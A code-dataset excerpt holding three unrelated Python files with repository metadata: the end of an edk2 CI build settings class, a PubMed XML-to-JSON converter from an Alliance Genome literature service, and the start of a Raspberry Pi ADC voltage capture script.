edk2 target tags supported by this build ''' return ("DEBUG", "RELEASE", "NO-TARGET", "NOOPT") # ####################################################################################### # # Verify and Save requested Ci Build Config # # ####################################################################################### # def SetPackages(self, list_of_requested_packages): ''' Confirm the requested package list is valid and configure SettingsManager to build the requested packages. Raise UnsupportedException if a requested_package is not supported ''' unsupported = set(list_of_requested_packages) - \ set(self.GetPackagesSupported()) if(len(unsupported) > 0): logging.critical( "Unsupported Package Requested: " + " ".join(unsupported)) raise Exception("Unsupported Package Requested: " + " ".join(unsupported)) self.ActualPackages = list_of_requested_packages def SetArchitectures(self, list_of_requested_architectures): ''' Confirm the requests architecture list is valid and configure SettingsManager to run only the requested architectures. Raise Exception if a list_of_requested_architectures is not supported ''' unsupported = set(list_of_requested_architectures) - \ set(self.GetArchitecturesSupported()) if(len(unsupported) > 0): logging.critical( "Unsupported Architecture Requested: " + " ".join(unsupported)) raise Exception( "Unsupported Architecture Requested: " + " ".join(unsupported)) self.ActualArchitectures = list_of_requested_architectures def SetTargets(self, list_of_requested_target): ''' Confirm the request target list is valid and configure SettingsManager to run only the requested targets. Raise UnsupportedException if a requested_target is not supported ''' unsupported = set(list_of_requested_target) - \ set(self.GetTargetsSupported()) if(len(unsupported) > 0): logging.critical( "Unsupported Targets Requested: " + " ".join(unsupported)) raise Exception("Unsupported Targets Requested: " + " ".join(unsupported)) self.ActualTargets = list_of_requested_target # ####################################################################################### # # Actual Configuration for Ci Build # # ####################################################################################### # def GetActiveScopes(self): ''' return tuple containing scopes that should be active for this process ''' scopes = ("cibuild", "edk2-build", "host-based-test") self.ActualToolChainTag = shell_environment.GetBuildVars().GetValue("TOOL_CHAIN_TAG", "") if GetHostInfo().os.upper() == "WINDOWS": scopes += ('host-test-win',) if GetHostInfo().os.upper() == "LINUX" and self.ActualToolChainTag.upper().startswith("GCC"): if "AARCH64" in self.ActualArchitectures: scopes += ("gcc_aarch64_linux",) if "ARM" in self.ActualArchitectures: scopes += ("gcc_arm_linux",) return scopes def GetRequiredSubmodules(self): ''' return iterable containing RequiredSubmodule objects. If no RequiredSubmodules return an empty iterable ''' rs = [] rs.append(RequiredSubmodule( "ArmPkg/Library/ArmSoftFloatLib/berkeley-softfloat-3", False)) rs.append(RequiredSubmodule( "CryptoPkg/Library/OpensslLib/openssl", False)) rs.append(RequiredSubmodule( "UnitTestFrameworkPkg/Library/CmockaLib/cmocka", False)) return rs def GetName(self): return "Edk2" def GetDependencies(self): return [ ] def GetPackagesPath(self): return () def GetWorkspaceRoot(self): ''' get WorkspacePath ''' return os.path.dirname(os.path.dirname(os.path.abspath(__file__))) def FilterPackagesToTest(self, changedFilesList: list, potentialPackagesList: list) -> list: ''' Filter potential packages to test based on changed files. ''' build_these_packages = [] possible_packages = potentialPackagesList.copy() for f in changedFilesList: # split each part of path for comparison later nodes = f.split("/") # python file change in .pytool folder causes building all if f.endswith(".py") and ".pytool" in nodes: build_these_packages = possible_packages break # BaseTools files that might change the build if "BaseTools" in nodes: if os.path.splitext(f) not in [".txt", ".md"]: build_these_packages = possible_packages break return build_these_packages
42.065934
108
0.536442
79593e297f1a4ae108d241233feefe7796c593d6
35,000
py
Python
src/xml_processing/code/lib/xml_to_json.py
alliance-genome/agr_literature_service
2278316422d5c3ab65e21bb97d91e861e48853c5
[ "MIT" ]
null
null
null
src/xml_processing/code/lib/xml_to_json.py
alliance-genome/agr_literature_service
2278316422d5c3ab65e21bb97d91e861e48853c5
[ "MIT" ]
39
2021-10-18T17:02:49.000Z
2022-03-28T20:56:24.000Z
src/xml_processing/code/lib/xml_to_json.py
alliance-genome/agr_literature_service
2278316422d5c3ab65e21bb97d91e861e48853c5
[ "MIT" ]
1
2021-10-21T00:11:18.000Z
2021-10-21T00:11:18.000Z
""" xml_to_json =========== module that converts XMLs to JSON files """ import json import urllib.request import re import os import logging import hashlib import click import coloredlogs import sys # from dotenv import load_dotenv # # load_dotenv() # pipenv run python xml_to_json.py -f /home/azurebrd/git/agr_literature_service_demo/src/xml_processing/inputs/sample_set # # 22 minutes on dev.wormbase for 646727 documents from filesystem. 12G of xml to 6.0G of json # 1 hour 55 minutes on agr-literature-dev for 649074 documents from filesystem. 15G of xml to 8.0G of json # pipenv run python xml_to_json.py -u "http://tazendra.caltech.edu/~azurebrd/cgi-bin/forms/generic.cgi?action=ListPmids" # not using author firstinit, nlm, issn # update sample # cp pubmed_json/32542232.json pubmed_sample # cp pubmed_json/32644453.json pubmed_sample # cp pubmed_json/33408224.json pubmed_sample # cp pubmed_json/33002525.json pubmed_sample # cp pubmed_json/33440160.json pubmed_sample # cp pubmed_json/33410237.json pubmed_sample # git add pubmed_sample/32542232.json # git add pubmed_sample/32644453.json # git add pubmed_sample/33408224.json # git add pubmed_sample/33002525.json # git add pubmed_sample/33440160.json # git add pubmed_sample/33410237.json # https://ftp.ncbi.nih.gov/pubmed/J_Medline.txt # Processing CommentIn/CommentOn from commentsCorrections results in 12-deep recursive chain of PMID comments, e.g. 32919857, but also many others fairly deep. # Removing CommentIn/CommentOn from allowed RefType values the deepest set is 4 deep, Recursive example 26757732 -> 26868856 -> 26582243 -> 26865040 -> 27032729 # Need to set up a queue that queries postgres to get a list of pubmed id that don't have a pubmed final flag # Need to set up flags to take in pmids from postgres queue, file in filesystem, file in URL, list from command line # to get set of pmids with search term 'elegans' # https://eutils.ncbi.nlm.nih.gov/entrez/eutils/esearch.fcgi?db=pubmed&term=elegans&retmax=100000000 logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) coloredlogs.install(level='DEBUG') known_article_id_types = { 'pubmed': {'prefix': 'PMID:'}, 'doi': {'prefix': 'DOI:'}, 'pmc': {'prefix': 'PMCID:'}} # 'pubmed': {'pages': 'PubMed', 'prefix': 'PMID:'}, # 'doi': {'pages': 'DOI', 'prefix': 'DOI:'}, # 'pmc': {'pages': 'PMC', 'prefix': 'PMCID:'}} ignore_article_id_types = {'bookaccession', 'mid', 'pii', 'pmcid'} unknown_article_id_types = set([]) def represents_int(s): """ :param s: :return: """ try: int(s) return True except ValueError: return False def month_name_to_number_string(string): """ :param string: :return: """ m = { 'jan': '01', 'feb': '02', 'mar': '03', 'apr': '04', 'may': '05', 'jun': '06', 'jul': '07', 'aug': '08', 'sep': '09', 'oct': '10', 'nov': '11', 'dec': '12'} s = string.strip()[:3].lower() try: out = m[s] return out except ValueError: raise ValueError(string + ' is not a month') def get_year_month_day_from_xml_date(pub_date): """ :param pub_date: :return: """ date_list = [] year = '' month = '01' day = '01' year_re_output = re.search("<Year>(.+?)</Year>", pub_date) if year_re_output is not None: year = year_re_output.group(1) month_re_output = re.search("<Month>(.+?)</Month>", pub_date) if month_re_output is not None: month_text = month_re_output.group(1) if represents_int(month_text): month = month_text else: month = month_name_to_number_string(month_text) day_re_output = re.search("<Day>(.+?)</Day>", pub_date) if day_re_output is not None: day = day_re_output.group(1) date_list.append(year) date_list.append(month) date_list.append(day) return date_list def get_medline_date_from_xml_date(pub_date): """ :param pub_date: :return: """ medline_re_output = re.search('<MedlineDate>(.+?)</MedlineDate>', pub_date) if medline_re_output is not None: return medline_re_output.group(1) def generate_json(pmids, previous_pmids, base_path): # noqa: C901 """ :param pmids: :param previous_pmids: :return: """ # open input xml file and read data in form of python dictionary using xmltodict module md5data = '' # storage_path = base_path + 'pubmed_xml_20210322/' # json_storage_path = base_path + 'pubmed_json_20210322/' storage_path = base_path + 'pubmed_xml/' json_storage_path = base_path + 'pubmed_json/' if not os.path.exists(storage_path): os.makedirs(storage_path) if not os.path.exists(json_storage_path): os.makedirs(json_storage_path) # new_pmids = [] # ref_types = [] new_pmids_set = set([]) ref_types_set = set([]) for pmid in pmids: filename = storage_path + pmid + '.xml' # if getting pmids from directories split into multiple sub-subdirectories # filename = get_path_from_pmid(pmid, 'xml') if not os.path.exists(filename): continue # logger.info("processing %s", filename) with open(filename) as xml_file: xml = xml_file.read() # print (xml) # xmltodict is treating html markup like <i>text</i> as xml, # which is creating mistaken structure in the conversion. # may be better to parse full xml instead. # data_dict = xmltodict.parse(xml_file.read()) xml_file.close() # print (pmid) data_dict = {} # e.g. 21290765 has BookDocument and ArticleTitle book_re_output = re.search('<BookDocument>', xml) if book_re_output is not None: data_dict['is_book'] = 'book' title_re_output = re.search('<ArticleTitle[^>]*?>(.+?)</ArticleTitle>', xml, re.DOTALL) if title_re_output is not None: # print title title = title_re_output.group(1).rstrip() title = re.sub(r'\s+', ' ', title) data_dict['title'] = title if 'is_book' not in data_dict: data_dict['is_journal'] = 'journal' else: # e.g. 33054145 21413221 book_title_re_output = re.search('<BookTitle[^>]*?>(.+?)</BookTitle>', xml, re.DOTALL) if book_title_re_output is not None: # print title title = book_title_re_output.group(1).rstrip() title = re.sub(r'\s+', ' ', title) data_dict['title'] = title data_dict['is_book'] = 'book' else: # e.g. 28304499 28308877 vernacular_title_re_output = re.search('<VernacularTitle[^>]*?>(.+?)</VernacularTitle>', xml, re.DOTALL) if vernacular_title_re_output is not None: # print title title = vernacular_title_re_output.group(1).rstrip() title = re.sub(r'\s+', ' ', title) data_dict['title'] = title data_dict['is_vernacular'] = 'vernacular' else: logger.info("%s has no title", pmid) journal_re_output = re.search('<MedlineTA>(.+?)</MedlineTA>', xml) if journal_re_output is not None: data_dict['journal'] = journal_re_output.group(1) pages_re_output = re.search('<MedlinePgn>(.+?)</MedlinePgn>', xml) if pages_re_output is not None: data_dict['pages'] = pages_re_output.group(1) volume_re_output = re.search('<Volume>(.+?)</Volume>', xml) if volume_re_output is not None: data_dict['volume'] = volume_re_output.group(1) issue_re_output = re.search('<Issue>(.+?)</Issue>', xml) if issue_re_output is not None: data_dict['issueName'] = issue_re_output.group(1) pubstatus_re_output = re.search('<PublicationStatus>(.+?)</PublicationStatus>', xml) if pubstatus_re_output is not None: # print pubstatus data_dict['publicationStatus'] = pubstatus_re_output.group(1) if re.findall('<PublicationType>(.+?)</PublicationType>', xml): types_group = re.findall('<PublicationType>(.+?)</PublicationType>', xml) data_dict['pubMedType'] = types_group elif re.findall('<PublicationType UI=\".*?\">(.+?)</PublicationType>', xml): types_group = re.findall('<PublicationType UI=\".*?\">(.+?)</PublicationType>', xml) data_dict['pubMedType'] = types_group # <CommentsCorrectionsList><CommentsCorrections RefType="CommentIn"><RefSource>Mult Scler. # 1999 Dec;5(6):378</RefSource><PMID Version="1">10644162</PMID></CommentsCorrections><CommentsCorrections # RefType="CommentIn"><RefSource>Mult Scler. 2000 Aug;6(4):291-2</RefSource><PMID Version="1">10962551</PMID> # </CommentsCorrections></CommentsCorrectionsList> comments_corrections_group = re.findall('<CommentsCorrections (.+?)</CommentsCorrections>', xml, re.DOTALL) if len(comments_corrections_group) > 0: data_dict['commentsCorrections'] = dict() for comcor_xml in comments_corrections_group: ref_type = '' other_pmid = '' ref_type_re_output = re.search("RefType=\"(.*?)\"", comcor_xml) if ref_type_re_output is not None: ref_type = ref_type_re_output.group(1) other_pmid_re_output = re.search("<PMID[^>]*?>(.+?)</PMID>", comcor_xml) if other_pmid_re_output is not None: other_pmid = other_pmid_re_output.group(1) if (other_pmid != '') and (ref_type != '') and (ref_type != 'CommentIn') \ and (ref_type != 'CommentOn'): if ref_type in data_dict['commentsCorrections']: if other_pmid not in data_dict['commentsCorrections'][ref_type]: data_dict['commentsCorrections'][ref_type].append(other_pmid) else: data_dict['commentsCorrections'][ref_type] = [] data_dict['commentsCorrections'][ref_type].append(other_pmid) # print(pmid + " COMCOR " + ref_type + " " + other_pmid) ref_types_set.add(ref_type) if other_pmid not in pmids and other_pmid not in previous_pmids: new_pmids_set.add(other_pmid) # this will need to be restructured to match schema authors_group = re.findall('<Author.*?>(.+?)</Author>', xml, re.DOTALL) if len(authors_group) > 0: authors_list = [] authors_rank = 0 for author_xml in authors_group: authors_rank = authors_rank + 1 lastname = '' firstname = '' firstinit = '' collective_name = '' fullname = '' orcid = '' affiliation = [] author_cross_references = [] lastname_re_output = re.search('<LastName>(.+?)</LastName>', author_xml) if lastname_re_output is not None: lastname = lastname_re_output.group(1) firstname_re_output = re.search('<ForeName>(.+?)</ForeName>', author_xml) if firstname_re_output is not None: firstname = firstname_re_output.group(1) firstinit_re_output = re.search('<Initials>(.+?)</Initials>', author_xml) if firstinit_re_output is not None: firstinit = firstinit_re_output.group(1) if firstinit and not firstname: firstname = firstinit # e.g. 27899353 30979869 collective_re_output = re.search('<CollectiveName>(.+?)</CollectiveName>', author_xml, re.DOTALL) if collective_re_output is not None: collective_name = collective_re_output.group(1).replace('\n', ' ').replace('\r', '') collective_name = re.sub(r'\s+', ' ', collective_name) # e.g. 30003105 <Identifier Source="ORCID">0000-0002-9948-4783</Identifier> # e.g. 30002370 <Identifier Source="ORCID">http://orcid.org/0000-0003-0416-374X</Identifier> # orcid_re_output = re.search("<Identifier Source=\"ORCID\">(.+?)</Identifier>", author_xml) orcid_re_output = re.search('<Identifier Source=\"ORCID\">.*?([0-9]{4}-[0-9]{4}-[0-9]{4}-[0-9]{3}[0-9X]).*?</Identifier>', author_xml) if orcid_re_output is not None: orcid = orcid_re_output.group(1) orcid_dict = {'id': 'ORCID:' + orcid_re_output.group(1), 'pages': ['person/orcid']} author_cross_references.append(orcid_dict) # e.g. 30003105 30002370 # <AffiliationInfo> # <Affiliation>Department of Animal Medical Sciences, Faculty of Life Sciences, Kyoto Sangyo University , Kyoto , Japan.</Affiliation> # </AffiliationInfo> affiliation_list = [] affiliation_info_group = re.findall('<AffiliationInfo>(.*?)</AffiliationInfo>', author_xml, re.DOTALL) for affiliation_info in affiliation_info_group: # print(pmid + " AIDL " + affiliation_info) affiliation_group = re.findall('<Affiliation>(.+?)</Affiliation>', affiliation_info, re.DOTALL) for affiliation in affiliation_group: # print(pmid + " subset " + affiliation) if affiliation not in affiliation_list: affiliation_list.append(affiliation) author_dict = {} # if (firstname and firstinit): # print "GOOD\t" + pmid # elif firstname: # print "FN\t" + pmid + "\t" + firstname # elif firstinit: # print "FI\t" + pmid + "\t" + firstinit # else: # print "NO\t" + pmid if firstname != '': author_dict['firstname'] = firstname if firstinit != '': author_dict['firstinit'] = firstinit if lastname != '': author_dict['lastname'] = lastname if collective_name != '': author_dict['collectivename'] = collective_name if (firstname != '') and (lastname != ''): fullname = firstname + ' ' + lastname elif collective_name != '': fullname = collective_name elif lastname != '': fullname = lastname else: logger.info('%s has no name match %s', pmid, author_xml) if orcid != '': author_dict['orcid'] = orcid author_dict['name'] = fullname author_dict['authorRank'] = authors_rank if len(affiliation_list) > 0: author_dict['affiliation'] = affiliation_list if len(author_cross_references) > 0: author_dict['crossReferences'] = author_cross_references # print fullname authors_list.append(author_dict) data_dict['authors'] = authors_list pub_date_re_output = re.search('<PubDate>(.+?)</PubDate>', xml, re.DOTALL) if pub_date_re_output is not None: pub_date = pub_date_re_output.group(1) date_list = get_year_month_day_from_xml_date(pub_date) if date_list[0]: date_string = "-".join(date_list) # print date_string date_dict = {'date_string': date_string, 'year': date_list[0], 'month': date_list[1], 'day': date_list[2]} # datePublished is a string, not a date-time data_dict['datePublished'] = date_string data_dict['issueDate'] = date_dict else: # 1524678 2993907 have MedlineDate instead of Year Month Day medline_date = get_medline_date_from_xml_date(pub_date) if medline_date: data_dict['date_string'] = medline_date data_dict['datePublished'] = medline_date date_revised_re_output = re.search("<DateRevised>(.+?)</DateRevised>", xml, re.DOTALL) if date_revised_re_output is not None: date_revised = date_revised_re_output.group(1) date_list = get_year_month_day_from_xml_date(date_revised) if date_list[0]: date_string = '-'.join(date_list) date_dict = {'date_string': date_string, 'year': date_list[0], 'month': date_list[1], 'day': date_list[2]} data_dict['dateLastModified'] = date_dict date_received_re_output = re.search('<PubMedPubDate PubStatus=\"received\">(.+?)</PubMedPubDate>', xml, re.DOTALL) if date_received_re_output is not None: date_received = date_received_re_output.group(1) date_list = get_year_month_day_from_xml_date(date_received) if date_list[0]: date_string = "-".join(date_list) date_dict = {'date_string': date_string, 'year': date_list[0], 'month': date_list[1], 'day': date_list[2]} data_dict['dateArrivedInPubmed'] = date_dict cross_references = [] has_self_pmid = False # e.g. 20301347, 21413225 do not have the PMID itself in the ArticleIdList, so must be appended to the cross_references article_id_list_re_output = re.search('<ArticleIdList>(.*?)</ArticleIdList>', xml, re.DOTALL) if article_id_list_re_output is not None: article_id_list = article_id_list_re_output.group(1) article_id_group = re.findall('<ArticleId IdType=\"(.*?)\">(.+?)</ArticleId>', article_id_list) if len(article_id_group) > 0: type_has_value = set() for type_value in article_id_group: type = type_value[0] value = type_value[1] # convert the only html entities found in DOIs &lt; &gt; &amp;#60; &amp;#62; # e.g. PMID:8824556 PMID:10092111 value = value.replace('&lt;', '<').replace('&gt;', '>').replace('&amp;#60;', '<').replace('&amp;#62;', '>') # print pmid + " type " + type + " value " + value if type in known_article_id_types: if value == pmid: has_self_pmid = True if type in type_has_value: logger.info('%s has multiple for type %s', pmid, type) type_has_value.add(type) # cross_references.append({'id': known_article_id_types[type]['prefix'] + value, 'pages': [known_article_id_types[type]['pages']]}) cross_references.append({'id': known_article_id_types[type]['prefix'] + value}) data_dict[type] = value # for cleaning up crossReferences when reading dqm data else: if type not in ignore_article_id_types: logger.info('%s has unexpected type %s', pmid, type) unknown_article_id_types.add(type) if not has_self_pmid: cross_references.append({'id': 'PMID:' + pmid}) medline_journal_info_re_output = re.search('<MedlineJournalInfo>(.*?)</MedlineJournalInfo>', xml, re.DOTALL) if medline_journal_info_re_output is not None: medline_journal_info = medline_journal_info_re_output.group(1) # print pmid + " medline_journal_info " + medline_journal_info nlm = '' issn = '' journal_abbrev = '' nlm_re_output = re.search('<NlmUniqueID>(.+?)</NlmUniqueID>', medline_journal_info) if nlm_re_output is not None: nlm = nlm_re_output.group(1) cross_references.append({'id': 'NLM:' + nlm}) # cross_references.append({'id': 'NLM:' + nlm, 'pages': ['NLM']}) issn_re_output = re.search('<ISSNLinking>(.+?)</ISSNLinking>', medline_journal_info) if issn_re_output is not None: issn = issn_re_output.group(1) cross_references.append({'id': 'ISSN:' + issn}) # cross_references.append({'id': 'ISSN:' + issn, 'pages': ['ISSN']}) journal_abbrev_re_output = re.search('<MedlineTA>(.+?)</MedlineTA>', medline_journal_info) if journal_abbrev_re_output is not None: journal_abbrev = journal_abbrev_re_output.group(1) data_dict['nlm'] = nlm # for mapping to resource data_dict['issn'] = issn # for mapping to MOD data to resource data_dict['resourceAbbreviation'] = journal_abbrev # check whether all xml has an nlm or issn, for WB set, they all do # if (nlm and issn): # print "GOOD\t" + pmid # elif nlm: # print "NLM\t" + pmid + "\t" + nlm # elif issn: # print "ISSN\t" + pmid + "\t" + issn # else: # print "NO\t" + pmid if len(cross_references) > 0: data_dict['crossReferences'] = cross_references publisher_re_output = re.search('<PublisherName>(.+?)</PublisherName>', xml) if publisher_re_output is not None: publisher = publisher_re_output.group(1) # print publisher data_dict['publisher'] = publisher # previously was only getting all abstract text together, but this was causing different types of abstracts to be concatenated # regex_abstract_output = re.findall("<AbstractText.*?>(.+?)</AbstractText>", xml, re.DOTALL) # if len(regex_abstract_output) > 0: # abstract = " ".join(regex_abstract_output) # data_dict['abstract'] = re.sub(r'\s+', ' ', abstract) main_abstract_list = [] regex_abstract_output = re.findall('<Abstract>(.+?)</Abstract>', xml, re.DOTALL) if len(regex_abstract_output) > 0: for abs in regex_abstract_output: regex_abstract_text_output = re.findall('<AbstractText.*?>(.+?)</AbstractText>', abs, re.DOTALL) if len(regex_abstract_text_output) > 0: for abstext in regex_abstract_text_output: main_abstract_list.append(abstext) main_abstract = ' '.join(main_abstract_list) if main_abstract != '': main_abstract = re.sub(r'\s+', ' ', main_abstract) pip_abstract_list = [] plain_abstract_list = [] lang_abstract_list = [] regex_other_abstract_output = re.findall('<OtherAbstract (.+?)</OtherAbstract>', xml, re.DOTALL) if len(regex_other_abstract_output) > 0: for other_abstract in regex_other_abstract_output: abs_type = '' abs_lang = '' abs_type_re_output = re.search('Type=\"(.*?)\"', other_abstract) if abs_type_re_output is not None: abs_type = abs_type_re_output.group(1) abs_lang_re_output = re.search('Language=\"(.*?)\"', other_abstract) if abs_lang_re_output is not None: abs_lang = abs_lang_re_output.group(1) if abs_type == 'Publisher': lang_abstract_list.append(abs_lang) else: regex_abstract_text_output = re.findall('<AbstractText.*?>(.+?)</AbstractText>', other_abstract, re.DOTALL) if len(regex_abstract_text_output) > 0: for abstext in regex_abstract_text_output: if abs_type == 'plain-language-summary': plain_abstract_list.append(abstext) elif abs_type == 'PIP': pip_abstract_list.append(abstext) pip_abstract = ' '.join(pip_abstract_list) # e.g. 9643811 has pip but not main if pip_abstract != '': pip_abstract = re.sub(r'\s+', ' ', pip_abstract) plain_abstract = ' '.join(plain_abstract_list) if plain_abstract != '': # e.g. 32338603 has plain abstract data_dict['plainLanguageAbstract'] = re.sub(r'\s+', ' ', plain_abstract) if len(lang_abstract_list) > 0: # e.g. 30160698 has fre and spa data_dict['pubmedAbstractLanguages'] = lang_abstract_list if main_abstract != '': data_dict['abstract'] = main_abstract elif pip_abstract != '': # e.g. 9643811 has pip but not main abstract data_dict['abstract'] = pip_abstract # some xml has keywords spanning multiple lines e.g. 30110134 # others get captured inside other keywords e.g. 31188077 regex_keyword_output = re.findall('<Keyword .*?>(.+?)</Keyword>', xml, re.DOTALL) if len(regex_keyword_output) > 0: keywords = [] for keyword in regex_keyword_output: keyword = re.sub('<[^>]+?>', '', keyword) keyword = keyword.replace('\n', ' ').replace('\r', '') keyword = re.sub(r'\s+', ' ', keyword) keyword = keyword.lstrip() keywords.append(keyword) data_dict['keywords'] = keywords meshs_group = re.findall('<MeshHeading>(.+?)</MeshHeading>', xml, re.DOTALL) if len(meshs_group) > 0: meshs_list = [] for mesh_xml in meshs_group: descriptor_re_output = re.search('<DescriptorName.*?>(.+?)</DescriptorName>', mesh_xml, re.DOTALL) if descriptor_re_output is not None: mesh_heading_term = descriptor_re_output.group(1) qualifier_group = re.findall('<QualifierName.*?>(.+?)</QualifierName>', mesh_xml, re.DOTALL) if len(qualifier_group) > 0: for mesh_qualifier_term in qualifier_group: mesh_dict = {'referenceId': 'PMID:' + pmid, 'meshHeadingTerm': mesh_heading_term, 'meshQualifierTerm': mesh_qualifier_term} meshs_list.append(mesh_dict) else: mesh_dict = {'referenceId': 'PMID:' + pmid, 'meshHeadingTerm': mesh_heading_term} meshs_list.append(mesh_dict) # for mesh_xml in meshs_group: # descriptor_group = re.findall("<DescriptorName.*?UI=\"(.+?)\".*?>(.+?)</DescriptorName>", # mesh_xml, re.DOTALL) # if len(descriptor_group) > 0: # for id_name in descriptor_group: # mesh_dict = {} # mesh_dict["referenceId"] = id_name[0] # mesh_dict["meshHeadingTerm"] = id_name[1] # meshs_list.append(mesh_dict) # qualifier_group = re.findall("<QualifierName.*?UI=\"(.+?)\".*?>(.+?)</QualifierName>", # mesh_xml, re.DOTALL) # if len(qualifier_group) > 0: # for id_name in qualifier_group: # mesh_dict = {} # mesh_dict["referenceId"] = id_name[0] # mesh_dict["meshQualifierTerm"] = id_name[1] # meshs_list.append(mesh_dict) data_dict['meshTerms'] = meshs_list # generate the object using json.dumps() # corresponding to json data # minified # json_data = json.dumps(data_dict) # pretty-print json_data = json.dumps(data_dict, indent=4, sort_keys=True) # Write the json data to output json file # UNCOMMENT TO write to json directory json_filename = json_storage_path + pmid + '.json' # if getting pmids from directories split into multiple sub-subdirectories # json_filename = get_path_from_pmid(pmid, 'json') with open(json_filename, 'w') as json_file: json_file.write(json_data) json_file.close() md5sum = hashlib.md5(json_data.encode('utf-8')).hexdigest() md5data += pmid + '\t' + md5sum + '\n' md5file = json_storage_path + 'md5sum' logger.info('Writing md5sum mappings to %s', md5file) with open(md5file, 'a') as md5file_fh: md5file_fh.write(md5data) for unknown_article_id_type in unknown_article_id_types: logger.warning('unknown_article_id_type %s', unknown_article_id_type) for ref_type in ref_types_set: logger.info('ref_type %s', ref_type) new_pmids = sorted(new_pmids_set) for pmid in new_pmids: logger.info('new_pmid %s', pmid) return new_pmids @click.command() @click.option('-c', '--commandline', 'cli', multiple=True, help='take input from command line flag', required=False) @click.option('-d', '--database', 'db', help='take input from database query', required=False) @click.option('-f', '--file', 'ffile', help='take input from entries in file with full path', required=False) @click.option('-r', '--restapi', 'api', help='take input from rest api', required=False) @click.option('-s', '--sample', 'sample', help='test sample input from hardcoded entries', required=False, default=False, is_flag=True) @click.option('-u', '--url', 'url', help='take input from entries in file at url', required=False) def process_tasks(cli, db, ffile, api, sample, url): """ :param cli: :param db: :param ffile: :param api: :param sample: :param url: :return: """ # set storage location # todo: see if environment variable check works # base_path = '/home/azurebrd/git/agr_literature_service_demo/src/xml_processing/' if len(os.environ.get('XML_PATH')) == 0: sys.exit() else: base_path = os.environ.get('XML_PATH') storage_path = base_path + 'pubmed_xml/' logger.info('Base path is at ' + base_path) logger.info('XMLs will be saved on ' + storage_path) pmids = [] # list that will contain the PMIDs to be converted # checking parameters if db: # python xml_to_json.py -d logger.info('Processing database entries') elif api: # python xml_to_json.py -r logger.info('Processing rest api entries') elif ffile: # python xml_to_json.py -f /home/azurebrd/git/agr_literature_service_demo/src/xml_processing/inputs/pmid_file.txt logger.info('Processing file input from ' + ffile) # this requires a well structured input pmids = open(ffile).read().splitlines() elif url: # python xml_to_json.py -u http://tazendra.caltech.edu/~azurebrd/var/work/pmid_sample logger.info('Processing url input from %s', url) req = urllib.request.urlopen(url) data = req.read() lines = data.splitlines() for pmid in lines: pmids.append(str(int(pmid))) elif cli: # python xml_to_json.py -c 1234 4576 1828 logger.info('Processing commandline input') for pmid in cli: pmids.append(pmid) elif sample: # python xml_to_json.py -s logger.info('Processing hardcoded sample input') pmids = ['12345678', '12345679', '12345680'] # else: # logger.info("Processing database entries") # when iterating manually through list of PMIDs from PubMed XML CommentsCorrections, # and wanting to exclude PMIDs that have already been looked at from original alliance DQM input, or previous iterations. previous_pmids = [] previous_pmids_files = [] # previous_pmids_files = ['inputs/alliance_pmids', 'inputs/comcor_add1', 'inputs/comcor_add2', 'inputs/comcor_add3'] # previous_pmids_files = ['inputs/alliance_pmids', 'inputs/comcor_add1', 'inputs/comcor_add2', # 'inputs/comcor_add3', 'inputs/comcor_add4', 'inputs/comcor_add5', 'inputs/comcor_add6', # 'inputs/comcor_add7', 'inputs/comcor_add8', 'inputs/comcor_add9', 'inputs/comcor_add10', # 'inputs/comcor_add11'] for previous_pmids_file in previous_pmids_files: with open(previous_pmids_file, 'r') as fp: pmid = fp.readline() while pmid: previous_pmids.append(pmid.rstrip()) pmid = fp.readline() generate_json(pmids, previous_pmids, base_path) logger.info("Done converting XML to JSON") if __name__ == '__main__': """ call main start function """ process_tasks()
47.619048
160
0.553143
79593fc2fc344d63be9c57dc707962e755139c90
5,094
py
Python
First Version/AutomationI40Ontology-Example/OPC UA Clients/opcua-client-deviceI/ADCLibrary/captura_analog.py
sagilar/Automation-I4.0-Ontology
ce37fc4b55e51c2f3219db343ce6c273cbfb71f1
[ "Apache-2.0" ]
3
2021-01-15T07:58:15.000Z
2021-03-25T13:01:35.000Z
First Version/AutomationI40Ontology-Example/OPC UA Clients/opcua-client-deviceI/ADCLibrary/captura_analog.py
sagilar/Automation-I4.0-Ontology
ce37fc4b55e51c2f3219db343ce6c273cbfb71f1
[ "Apache-2.0" ]
null
null
null
First Version/AutomationI40Ontology-Example/OPC UA Clients/opcua-client-deviceI/ADCLibrary/captura_analog.py
sagilar/Automation-I4.0-Ontology
ce37fc4b55e51c2f3219db343ce6c273cbfb71f1
[ "Apache-2.0" ]
14
2019-03-18T15:02:43.000Z
2021-11-21T07:54:00.000Z
import sys from ADS1256_definitions import * from pipyadc import ADS1256 import requests # coding=utf-8 POTI = POS_AIN0|NEG_AINCOM # Light dependant resistor of the same board: LDR = POS_AIN1|NEG_AINCOM # The other external input screw terminals of the Waveshare board: EXT2, EXT3, EXT4 = POS_AIN2|NEG_AINCOM, POS_AIN3|NEG_AINCOM, POS_AIN4|NEG_AINCOM EXT5, EXT6, EXT7 = POS_AIN5|NEG_AINCOM, POS_AIN6|NEG_AINCOM, POS_AIN7|NEG_AINCOM # You can connect any pin as well to the positive as to the negative ADC input. # The following reads the voltage of the potentiometer with negative polarity. # The ADC reading should be identical to that of the POTI channel, but negative. POTI_INVERTED = POS_AINCOM|NEG_AIN0 # For fun, connect both ADC inputs to the same physical input pin. # The ADC should always read a value close to zero for this. SHORT_CIRCUIT = POS_AIN0|NEG_AIN0 # Specify here an arbitrary length list (tuple) of arbitrary input channel pair # eight-bit code values to scan sequentially from index 0 to last. # Eight channels fit on the screen nicely for this example.. CH_SEQUENCE = (POTI, LDR, EXT2, EXT3, EXT4, EXT7, POTI_INVERTED, SHORT_CIRCUIT) ################################################################################ ###Porcentaje de banda muerta PORCENTAJE_DB=5.0 BANDA_CAMBIO=0.2 ## Valores anteriores para la banda muerta in0_vAnt=0 in1_vAnt=0 in2_vAnt=0 in3_vAnt=0 corrienteSensor_vAnt=0 def do_measurement(): ### STEP 1: Initialise ADC object: ads = ADS1256() ### STEP 2: Gain and offset self-calibration: ads.cal_self() while True: ### STEP 3: Get data: global in0_vAnt global in1_vAnt global in2_vAnt global in3_vAnt global corrienteSensor_vAnt raw_channels = ads.read_sequence(CH_SEQUENCE) voltages = [i * ads.v_per_digit for i in raw_channels] ### STEP 4: DONE. Have fun! #nice_output(raw_channels, voltages) #print('Voltajes ') #print(voltages) ### Almacenar la informacion de los datos en el servidor: almacenarVariable(voltages[0],in0_vAnt,'voltaje_potenciometro','nodo_prueba_ADC') almacenarVariable(voltages[1],in1_vAnt,'voltaje_LDR','nodo_prueba_ADC') almacenarVariable(voltages[2],in2_vAnt,'voltaje_potenciometro_externo','nodo_prueba_ADC') 